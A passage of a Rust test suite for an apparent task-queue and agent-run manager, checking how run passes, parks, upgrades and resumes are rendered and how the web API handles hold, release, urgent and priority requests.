15692 assert_eq!(
15693 f.nodes[1].status, None,
15694 "no outcome copied onto an earlier pass"
15695 );
15696 assert_eq!(
15697 f.edges[1].attempt,
15698 AttemptCost::Unknown,
15699 "a resume does not prove the earlier pass was refunded"
15700 );
15701 assert!(f.edges[1].label.contains("resume the same run"));
15702 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15703 assert_eq!(
15704 f.edges[2].label,
15705 "stalled after a resume, refund unknown \u{2192} queued"
15706 );
15707 assert!(!f.nodes[2].decided, "a stall is not a decision");
15708 assert_eq!(f.nodes[2].note, Some("no verdict"));
15709 }
15710
15711 #[test]
15712 fn flow_single_pass_quota_stall_is_refunded() {
15713 let t = flow_task(&[FA]);
15714 let f = flow_for(
15715 &t,
15716 &[(
15717 FA,
15718 Some(flow_run(RunStatus::Stalled, |s| {
15719 s.quota.push(crate::run::QuotaLoss {
15720 seat: "judge-1".to_owned(),
15721 node: "judge".to_owned(),
15722 at: Timestamp::now(),
15723 reset: None,
15724 })
15725 })),
15726 )],
15727 );
15728 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15729 }
15730
15731 #[test]
15732 fn flow_parked_refunds_and_stall_without_quota_spends() {
15733 let mut t = flow_task(&[FA]);
15734 t.status = TaskStatus::Queued;
15735 let f = flow_for(
15736 &t,
15737 &[(
15738 FA,
15739 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15740 )],
15741 );
15742 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15743 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15744 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15745 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15746 assert!(!f.nodes[1].decided);
15747 }
15748
15749 #[test]
15750 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15751 let t = flow_task(&[FA, FB]);
15752 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15753 assert_eq!(f.nodes[1].note, Some("unreadable"));
15754 assert!(!f.nodes[1].readable);
15755 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15756 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15757 }
15758
15759 #[test]
15760 fn flow_names_the_branch_of_a_review_only_run() {
15761 let t = flow_task(&[FA]);
15762 let f = flow_for(
15763 &t,
15764 &[(
15765 FA,
15766 Some(flow_run(RunStatus::Merged, |s| {
15767 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15768 })),
15769 )],
15770 );
15771 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15772 assert_eq!(
15773 f.nodes[1].detail.as_deref(),
15774 Some("review-only run of branch magi/x/A")
15775 );
15776 }
15777
15778 #[test]
15779 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15780 let mut t = flow_task(&[FA]);
15781 t.status = TaskStatus::Held;
15782 let pr = crate::run::PrRecord {
15783 url: "https://example.test/pr/1".to_owned(),
15784 number: 1,
15785 state: "open".to_owned(),
15786 checks: "green".to_owned(),
15787 round: 0,
15788 rounds: 3,
15789 red_at_merge: Vec::new(),
15790 };
15791 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15792 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15793 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15794 t.status = TaskStatus::Done;
15795 let f = flow_for(&t, &[(FA, Some(blocked))]);
15796 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15797 }
15798
15799 #[test]
15800 fn flow_with_no_runs_goes_from_queued_to_queued() {
15801 let t = flow_task(&[]);
15802 let f = flow_for(&t, &[]);
15803 assert_eq!(f.nodes.len(), 2);
15804 assert_eq!(f.edges.len(), 1);
15805 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15806 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15807 }
15808
15809 #[test]
15812 fn a_parked_non_terminal_run_is_explained_as_parked() {
15813 let mut s = RunState::new(
15814 PathBuf::from("/repo/magi"),
15815 "main".to_owned(),
15816 "0123456789abcdef".to_owned(),
15817 "Do it".to_owned(),
15818 Config::default(),
15819 );
15820 s.status = RunStatus::Implementing;
15821 s.parked = true;
15822 let task = Task::new(
15823 "t".to_owned(),
15824 "Do it".to_owned(),
15825 PathBuf::from("/repo/magi"),
15826 Source::Human,
15827 );
15828 let v = task_run_view(
15829 "20260902-140501-aaaa",
15830 Some(&s),
15831 RunSlot {
15832 n: 1,
15833 resumed: false,
15834 resumed_later: None,
15835 prior: None,
15836 last: true,
15837 ..RunSlot::default()
15838 },
15839 &task,
15840 );
15841 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15842 }
15843
15844 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15845 let mut s = flow_run(RunStatus::Implementing, edit);
15846 s.parked = false;
15847 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15848 task_run_view(
15849 "20260902-140501-aaaa",
15850 Some(&s),
15851 RunSlot {
15852 n: 1,
15853 resumed: false,
15854 resumed_later: Some(2),
15855 prior: None,
15856 last: false,
15857 ..RunSlot::default()
15858 },
15859 &task,
15860 )
15861 }
15862
15863 #[test]
15864 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15865 let v = earlier_pass_view(|_| {});
15866 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15867 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15868 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15869 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15870 assert_eq!(v.exit, RunExit::Interrupted);
15871 assert_eq!(v.attempt, AttemptCost::Unknown);
15872 }
15873
15874 #[test]
15875 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15876 let v = earlier_pass_view(|s| {
15877 s.quota.push(crate::run::QuotaLoss {
15878 seat: "judge-1".to_owned(),
15879 node: "judge".to_owned(),
15880 at: Timestamp::now(),
15881 reset: None,
15882 });
15883 });
15884 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15885 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15886 assert_eq!(v.attempt, AttemptCost::Unknown);
15887 }
15888
15889 #[test]
15890 fn the_current_pass_states_its_recorded_cause_and_cost() {
15891 let slot = || RunSlot {
15892 n: 1,
15893 resumed: false,
15894 resumed_later: None,
15895 prior: None,
15896 last: true,
15897 ..RunSlot::default()
15898 };
15899 let task = flow_task(&["20260902-140501-aaaa"]);
15900 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15901 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15902 assert_eq!(
15903 (v.exit, v.attempt),
15904 (RunExit::Parked, AttemptCost::Refunded)
15905 );
15906 let spent = flow_run(RunStatus::Blocked, |_| {});
15907 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15908 assert_eq!(v.attempt, AttemptCost::Spent);
15909 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15910 }
15911
15912 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15913 crate::run::RunPass {
15914 index,
15915 started_at: Timestamp::now(),
15916 resumed: index > 0,
15917 ended_at: end.as_ref().map(|_| Timestamp::now()),
15918 end,
15919 task_entry: true,
15920 }
15921 }
15922
15923 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15924 Some(crate::run::PassEnd::Parked { cause })
15925 }
15926
15927 fn upgrade_cause() -> crate::run::ParkCause {
15928 crate::run::ParkCause::Upgrade {
15929 from: "0.121.0".to_owned(),
15930 to: Some("0.121.1".to_owned()),
15931 }
15932 }
15933
15934 fn settled_pass(
15935 run: &str,
15936 index: usize,
15937 cost: crate::queue::PassCost,
15938 ) -> crate::queue::TaskPass {
15939 crate::queue::TaskPass {
15940 run: run.to_owned(),
15941 pass_index: index,
15942 started_at: None,
15943 cost,
15944 attempts_after: 1,
15945 settled_at: Timestamp::now(),
15946 parked: None,
15947 }
15948 }
15949
15950 const RUN_X: &str = "20261011-223708-4334";
15951
15952 #[test]
15953 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15954 use crate::queue::PassCost;
15955 let run = flow_run(RunStatus::Implementing, |s| {
15956 s.passes = vec![
15957 recorded_pass(0, parked(upgrade_cause())),
15958 recorded_pass(1, None),
15959 ];
15960 });
15961 let mut task = flow_task(&[RUN_X, RUN_X]);
15962 task.attempts = 1;
15963 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15964 let h = task_history(&task, |_| Some(run.clone()));
15965 assert_eq!(h.len(), 2);
15966 assert_eq!(h[0].kind, "competition");
15967 assert_eq!(h[1].kind, "resume");
15968 assert_eq!(
15969 (h[0].exit, h[0].attempt),
15970 (RunExit::Parked, AttemptCost::Refunded)
15971 );
15972 assert!(
15973 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15974 "{}",
15975 h[0].outcome
15976 );
15977 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15978 assert!(
15979 h[0].outcome.contains("pass #2 resumed the same run"),
15980 "{}",
15981 h[0].outcome
15982 );
15983 assert!(
15984 h[0].outcome.contains("pass 1 of 2 over run"),
15985 "{}",
15986 h[0].outcome
15987 );
15988 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15989 assert_eq!(
15990 h[0].exit_label,
15991 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15992 );
15993 let f = task_flow(&task, &h, 2, None);
15994 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15996 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15997 assert!(
15998 f.edges[1].label.contains("upgrade 0.121.0"),
15999 "{}",
16000 f.edges[1].label
16001 );
16002 assert!(
16003 f.edges[1].label.contains("resume the same run"),
16004 "{}",
16005 f.edges[1].label
16006 );
16007 assert_eq!(f.nodes[1].note, Some("parked"));
16008 }
16009
16010 #[test]
16011 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16012 let mut a = flow_run(RunStatus::Implementing, |s| {
16013 s.passes = vec![
16014 recorded_pass(0, parked(upgrade_cause())),
16015 recorded_pass(1, None),
16016 ];
16017 });
16018 let mut b = flow_run(RunStatus::Failed, |s| {
16019 s.passes = vec![recorded_pass(0, None)];
16020 });
16021 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16022 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16023 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16024 let mut task = flow_task(&[]);
16025 task.start("a".into());
16026 task.start("b".into());
16027 task.start("a".into());
16028 assert_eq!(task.runs, ["b", "a"]);
16029 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16030 let h = task_history(&task, |id| {
16031 Some(if id == "a" { a.clone() } else { b.clone() })
16032 });
16033 assert_eq!(
16034 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16035 ["a", "b", "a"]
16036 );
16037 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16038 assert!(h[0].outcome.contains("upgrade"));
16039 assert_eq!(h[2].kind, "resume");
16040 assert!(h[2].pass.is_some());
16041 task.runs = vec!["a".into(), "b".into(), "a".into()];
16043 let old = task_history(&task, |id| {
16044 Some(if id == "a" { a.clone() } else { b.clone() })
16045 });
16046 assert_eq!(
16047 old.iter()
16048 .map(|v| (&v.id, &v.kind, v.attempt))
16049 .collect::<Vec<_>>(),
16050 h.iter()
16051 .map(|v| (&v.id, &v.kind, v.attempt))
16052 .collect::<Vec<_>>()
16053 );
16054 }
16055
16056 #[test]
16057 fn an_upgrade_whose_target_was_not_known_says_so() {
16058 let run = flow_run(RunStatus::Implementing, |s| {
16059 s.passes = vec![
16060 recorded_pass(
16061 0,
16062 parked(crate::run::ParkCause::Upgrade {
16063 from: "0.121.0".to_owned(),
16064 to: None,
16065 }),
16066 ),
16067 recorded_pass(1, None),
16068 ];
16069 });
16070 let task = flow_task(&[RUN_X, RUN_X]);
16071 let h = task_history(&task, |_| Some(run.clone()));
16072 assert!(
16073 h[0].outcome.contains("upgrade from 0.121.0"),
16074 "{}",
16075 h[0].outcome
16076 );
16077 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16079 }
16080
16081 #[test]
16082 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16083 use crate::queue::PassCost;
16084 use crate::run::ParkCause;
16085 let run = flow_run(RunStatus::Implementing, |s| {
16086 s.passes = vec![
16087 recorded_pass(0, parked(upgrade_cause())),
16088 recorded_pass(
16089 1,
16090 parked(ParkCause::Interrupt {
16091 reason: "task a1b2 asked to run first".to_owned(),
16092 }),
16093 ),
16094 recorded_pass(2, parked(ParkCause::Operator)),
16095 recorded_pass(3, None),
16096 ];
16097 });
16098 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16099 task.attempts = 1;
16100 task.passes = (0..3)
16101 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16102 .collect();
16103 let h = task_history(&task, |_| Some(run.clone()));
16104 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16105 assert!(
16106 h[1].outcome.contains("task a1b2 asked to run first"),
16107 "{}",
16108 h[1].outcome
16109 );
16110 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16111 assert!(
16112 h[2].outcome.contains("operator asked the loop to park"),
16113 "{}",
16114 h[2].outcome
16115 );
16116 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16117 let f = task_flow(&task, &h, 2, None);
16118 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16119 }
16120
16121 #[test]
16122 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16123 let run = flow_run(RunStatus::Implementing, |s| {
16124 s.passes = vec![
16125 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16126 recorded_pass(1, None),
16127 ];
16128 });
16129 let task = flow_task(&[RUN_X, RUN_X]);
16130 let h = task_history(&task, |_| Some(run.clone()));
16131 assert_eq!(h[0].exit, RunExit::Interrupted);
16132 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16133 assert!(
16134 h[0].outcome.contains("without recording why"),
16135 "{}",
16136 h[0].outcome
16137 );
16138 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16139 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16140 }
16141
16142 #[test]
16143 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16144 use crate::queue::PassCost;
16145 let run = flow_run(RunStatus::Implementing, |s| {
16148 s.passes = vec![
16149 recorded_pass(0, parked(upgrade_cause())),
16150 recorded_pass(1, None),
16151 ];
16152 });
16153 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16154 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16155 let h = task_history(&task, |_| Some(run.clone()));
16156 assert!(h[0].pass.is_none());
16157 assert_eq!(h[0].exit, RunExit::Interrupted);
16158 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16159 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16160 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16161 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16162 let legacy = flow_run(RunStatus::Implementing, |_| {});
16164 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16165 assert!(h.iter().all(|v| v.pass.is_none()));
16166 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16167 }
16168
16169 #[test]
16170 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16171 use crate::queue::PassCost;
16172 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16175 web.task_entry = false;
16176 let run = flow_run(RunStatus::Implementing, |s| {
16177 s.passes = vec![
16178 recorded_pass(0, parked(upgrade_cause())),
16179 web.clone(),
16180 recorded_pass(2, None),
16181 ];
16182 });
16183 let mut task = flow_task(&[RUN_X, RUN_X]);
16184 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16185 let h = task_history(&task, |_| Some(run.clone()));
16186 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16187 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16188
16189 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16192 web0.task_entry = false;
16193 let run = flow_run(RunStatus::Implementing, |s| {
16194 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16195 });
16196 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16197 assert!(h[0].pass.is_none());
16198 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16199 assert!(h[1].pass.is_some());
16200 }
16201
16202 #[tokio::test]
16203 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16204 let dir = tempfile::tempdir().unwrap();
16205 let queue = Queue::at(dir.path().join("queue"));
16206 let ui = Arc::new(Ui::new(
16207 queue.clone(),
16208 Questions::at(dir.path().join("questions")),
16209 Talks::at(dir.path().join("talks")),
16210 dir.path().join("runs"),
16211 dir.path().to_path_buf(),
16212 dir.path().to_path_buf(),
16213 ));
16214 let mut t = Task::new(
16215 "recover".into(),
16216 "Inspect".into(),
16217 PathBuf::from("."),
16218 Source::Human,
16219 );
16220 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16221 t.start("run-A".into());
16222 t.release_operator("choice", Some("resume-question"));
16223 t.resume_override = Some(crate::queue::OperatorResume {
16224 question_id: "resume-question".into(),
16225 at: jiff::Timestamp::now(),
16226 conductor_rehold: None,
16227 forced: true,
16228 pinned_run: Some("run-A".into()),
16229 });
16230 t.hold_machine(Some("inspection pending".into()));
16231 t.edit("recover".into(), "Reuse approved PR head".into())
16232 .unwrap();
16233 queue.put(&mut t).unwrap();
16234 let mut cli = t.clone();
16235 cli.release_operator("cli", None);
16236 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16237 let reloaded = queue.get(&t.id).unwrap();
16238 assert_eq!(reply.task.status, TaskStatus::Queued);
16239 assert!(reloaded.resume_override.is_none());
16240 assert_eq!(reloaded.answers, t.answers);
16241 let mut web = reloaded.resumption.unwrap();
16242 let cli = cli.resumption.unwrap();
16243 assert_eq!(web.source, "web");
16244 web.source = cli.source.clone();
16245 web.at = cli.at;
16246 assert_eq!(web, cli);
16247 }
16248
16249 #[tokio::test]
16250 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16251 let f = Fixture::start().await;
16252 let queue = f.queue();
16253 let mut task = Task::new(
16254 "spent".to_owned(),
16255 "Try again".to_owned(),
16256 PathBuf::from("/repo/magi"),
16257 Source::Human,
16258 );
16259 task.start("20260902-140502-bbbb".to_owned());
16260 task.fail("agent gave up", 9);
16261 queue.put(&mut task).expect("file the task");
16262
16263 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16264 assert_eq!(held.status, 200);
16265 assert_eq!(held.json()["status_str"], "held");
16266
16267 let released = f
16268 .post(&format!("/api/queue/{}/release", task.id), None)
16269 .await;
16270 assert_eq!(released.status, 200);
16271 assert_eq!(released.json()["status_str"], "queued");
16272 assert_eq!(released.json()["resumption"]["source"], "web");
16273 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16274 let mut cli = task.clone();
16275 cli.release_operator("cli", None);
16276 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16277 let cli = cli.resumption.unwrap();
16278 assert_eq!(web.instruction, cli.instruction);
16279 assert_eq!(web.answers_through, cli.answers_through);
16280 assert_eq!(web.runs_through, cli.runs_through);
16281 assert_eq!(web.cleared_reason, cli.cleared_reason);
16282 assert_eq!(
16283 released.json()["attempts"],
16284 0,
16285 "release is a real second chance, not an instant re-hold"
16286 );
16287 assert_eq!(
16288 queue.get(&task.id).expect("reload").status,
16289 TaskStatus::Queued,
16290 "the change is on disk, not only in the reply"
16291 );
16292 assert!(
16293 !f.home
16294 .path()
16295 .join("queue")
16296 .join(format!("{}.lock", task.id))
16297 .exists(),
16298 "the claim the mutation took is released again"
16299 );
16300 }
16301
16302 #[tokio::test]
16303 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16304 let f = Fixture::start().await;
16305 let queue = f.queue();
16306 let mut task = Task::new(
16307 "busy".to_owned(),
16308 "Running right now".to_owned(),
16309 PathBuf::from("/repo/magi"),
16310 Source::Human,
16311 );
16312 queue.put(&mut task).expect("file the task");
16313 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16314
16315 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16316
16317 assert_eq!(res.status, 409);
16318 assert_eq!(
16319 queue.get(&task.id).expect("reload").status,
16320 TaskStatus::Queued,
16321 "the refused hold changed nothing"
16322 );
16323 }
16324
16325 #[tokio::test]
16326 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16327 let f = Fixture::start().await;
16328 let queue = f.queue();
16329 let mut task = Task::new(
16330 "waiting on the migration".to_owned(),
16331 "Do the thing".to_owned(),
16332 PathBuf::from("/repo/magi"),
16333 Source::Human,
16334 );
16335 queue.put(&mut task).expect("file the task");
16336
16337 let held = f
16338 .post(
16339 &format!("/api/queue/{}/hold", task.id),
16340 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16341 )
16342 .await;
16343 assert_eq!(held.status, 200, "{}", held.body);
16344 assert_eq!(held.json()["status_str"], "held");
16345 assert_eq!(
16346 held.json()["hold_reason"],
16347 "waiting for 20260101-000000-aaaa to land"
16348 );
16349
16350 let listed = f.get("/api/queue").await.json();
16351 assert_eq!(
16352 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16353 "the card reads the reason off the same list route"
16354 );
16355
16356 let mut plain = Task::new(
16359 "no reason given".to_owned(),
16360 "Do another thing".to_owned(),
16361 PathBuf::from("/repo/magi"),
16362 Source::Human,
16363 );
16364 queue.put(&mut plain).expect("file the task");
16365 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16366 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16367 assert!(held_plain.json()["hold_reason"].is_null());
16368
16369 let released = f
16370 .post(&format!("/api/queue/{}/release", task.id), None)
16371 .await;
16372 assert_eq!(released.status, 200);
16373 assert!(
16374 released.json()["hold_reason"].is_null(),
16375 "a release must clear the reason so the next hold does not inherit it"
16376 );
16377 }
16378
16379 #[test]
16380 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16381 for urgent in [true, false] {
16382 let body: UrgentBody =
16383 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16384 assert_eq!(body.urgent, urgent);
16385 }
16386 for input in [
16387 r#"{}"#,
16388 r#"{"urgent":null}"#,
16389 r#"{"urgent":"true"}"#,
16390 r#"{"urgent":1}"#,
16391 r#"{"urgent":true,"extra":false}"#,
16392 ] {
16393 assert!(
16394 serde_json::from_str::<UrgentBody>(input).is_err(),
16395 "{input}"
16396 );
16397 }
16398 }
16399
16400 #[tokio::test]
16401 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16402 let home = TempDir::new().unwrap();
16403 let q = Queue::at(home.path().join("queue"));
16404 let ui = Arc::new(Ui::new(
16405 q.clone(),
16406 Questions::at(home.path().join("questions")),
16407 Talks::at(home.path().join("talks")),
16408 home.path().join("runs"),
16409 home.path().into(),
16410 home.path().into(),
16411 ));
16412 let mut task = Task::new(
16413 "urgent handler".into(),
16414 "keep".into(),
16415 home.path().into(),
16416 Source::Human,
16417 );
16418 for status in [TaskStatus::Queued, TaskStatus::Held] {
16419 task.status = status;
16420 q.put(&mut task).unwrap();
16421 for urgent in [true, true, false, false] {
16422 let saved = queue_urgent(
16423 State(Arc::clone(&ui)),
16424 Path(task.short().into()),
16425 Ok(Json(UrgentBody { urgent })),
16426 )
16427 .await
16428 .unwrap();
16429 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16430 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16431 }
16432 }
16433 task.status = TaskStatus::Queued;
16434 q.put(&mut task).unwrap();
16435 let claim = q.claim(&task.id).unwrap();
16436 let error = queue_urgent(
16437 State(Arc::clone(&ui)),
16438 Path(task.id.clone()),
16439 Ok(Json(UrgentBody { urgent: true })),
16440 )
16441 .await
16442 .unwrap_err();
16443 assert_eq!(error.status, StatusCode::CONFLICT);
16444 assert!(error.message.contains("released"));
16445 drop(claim);
16446 for status in [
16447 TaskStatus::Running,
16448 TaskStatus::Done,
16449 TaskStatus::Failed,
16450 TaskStatus::Blocked,
16451 TaskStatus::Parked,
16452 ] {
16453 task.status = status;
16454 q.put(&mut task).unwrap();
16455 let error = queue_urgent(
16456 State(Arc::clone(&ui)),
16457 Path(task.id.clone()),
16458 Ok(Json(UrgentBody { urgent: false })),
16459 )
16460 .await
16461 .unwrap_err();
16462 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16463 assert!(error.message.contains(status.as_str()));
16464 }
16465 }
16466
16467 #[tokio::test]
16468 async fn urgent_api_updates_preserves_and_validates_tasks() {
16469 let f = Fixture::start().await;
16470 let q = f.queue();
16471 let mut t = Task::new(
16472 "urgent API".into(),
16473 "unchanged".into(),
16474 PathBuf::from("/repo/magi"),
16475 Source::Human,
16476 );
16477 t.attempts = 2;
16478 t.priority = 9;
16479 t.interrupt = true;
16480 t.hold_reason = Some("waiting for approval".into());
16481 for status in [TaskStatus::Queued, TaskStatus::Held] {
16482 t.status = status;
16483 q.put(&mut t).unwrap();
16484 for urgent in [true, true, false, false] {
16485 let response = f
16486 .post(
16487 &format!("/api/queue/{}/urgent", t.short()),
16488 Some(&format!("{{\"urgent\":{urgent}}}")),
16489 )
16490 .await;
16491 assert_eq!(response.status, 200, "{}", response.body);
16492 assert_eq!(response.json()["urgent"], urgent);
16493 let saved = q.get(&t.id).unwrap();
16494 let mut before = serde_json::to_value(&t).unwrap();
16495 let mut after = serde_json::to_value(saved).unwrap();
16496 before["urgent"] = urgent.into();
16497 before.as_object_mut().unwrap().remove("updated_at");
16498 after.as_object_mut().unwrap().remove("updated_at");
16499 assert_eq!(after, before);
16500 }
16501 }
16502 let route = format!("/api/queue/{}/urgent", t.id);
16503 for body in [
16504 r#"{}"#,
16505 r#"{"urgent":null}"#,
16506 r#"{"urgent":"true"}"#,
16507 r#"{"urgent":1}"#,
16508 r#"{"urgent":true,"extra":false}"#,
16509 "{",
16510 ] {
16511 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16512 }
16513 t.status = TaskStatus::Queued;
16514 q.put(&mut t).unwrap();
16515 let claim = q.claim(&t.id).unwrap();
16516 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16517 assert_eq!(response.status, 409, "{}", response.body);
16518 assert!(!q.get(&t.id).unwrap().urgent);
16519 drop(claim);
16520 for status in [
16521 TaskStatus::Running,
16522 TaskStatus::Done,
16523 TaskStatus::Failed,
16524 TaskStatus::Blocked,
16525 TaskStatus::Parked,
16526 ] {
16527 t.status = status;
16528 q.put(&mut t).unwrap();
16529 for urgent in [true, false] {
16530 let response = f
16531 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16532 .await;
16533 assert_eq!(response.status, 400, "{}", response.body);
16534 assert!(response.body.contains(status.as_str()));
16535 assert!(response.body.contains("queued or held"));
16536 assert!(!q.get(&t.id).unwrap().urgent);
16537 }
16538 }
16539 assert_eq!(
16540 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16541 .await
16542 .status,
16543 404
16544 );
16545 }
16546
16547 #[tokio::test]
16548 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16549 let f = Fixture::start().await;
16550 let queue = f.queue();
16551 let mut older = Task::new(
16552 "filed first".to_owned(),
16553 "x".to_owned(),
16554 PathBuf::from("/repo/magi"),
16555 Source::Human,
16556 );
16557 older.id = "20260101-000001-aaaa".to_owned();
16558 let mut newer = Task::new(
16559 "filed second".to_owned(),
16560 "x".to_owned(),
16561 PathBuf::from("/repo/magi"),
16562 Source::Human,
16563 );
16564 newer.id = "20260101-000002-bbbb".to_owned();
16565 queue.put(&mut older).expect("file older");
16566 queue.put(&mut newer).expect("file newer");
16567
16568 let before = f.get("/api/queue").await.json();
16571 assert_eq!(before[0]["id"], newer.id);
16572 assert_eq!(before[1]["id"], older.id);
16573
16574 let raised = f
16578 .post(
16579 &format!("/api/queue/{}/priority", older.id),
16580 Some(r#"{"priority":10}"#),
16581 )
16582 .await;
16583 assert_eq!(raised.status, 200, "{}", raised.body);
16584 assert_eq!(raised.json()["priority"], 10);
16585
16586 let after = f.get("/api/queue").await.json();
16587 let names: Vec<&str> = after
16588 .as_array()
16589 .unwrap()
16590 .iter()
16591 .map(|t| t["id"].as_str().unwrap())
16592 .collect();
16593 assert_eq!(names[0], older.id, "the raised task now sorts first");
16597 }
16598
16599 #[tokio::test]
16600 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16601 let dir = TempDir::new().unwrap();
16602 let q = Queue::at(dir.path().join("queue"));
16603 let ui = Arc::new(Ui::new(
16604 q.clone(),
16605 Questions::at(dir.path().join("questions")),
16606 Talks::at(dir.path().join("talks")),
16607 dir.path().join("runs"),
16608 dir.path().to_path_buf(),
16609 dir.path().to_path_buf(),
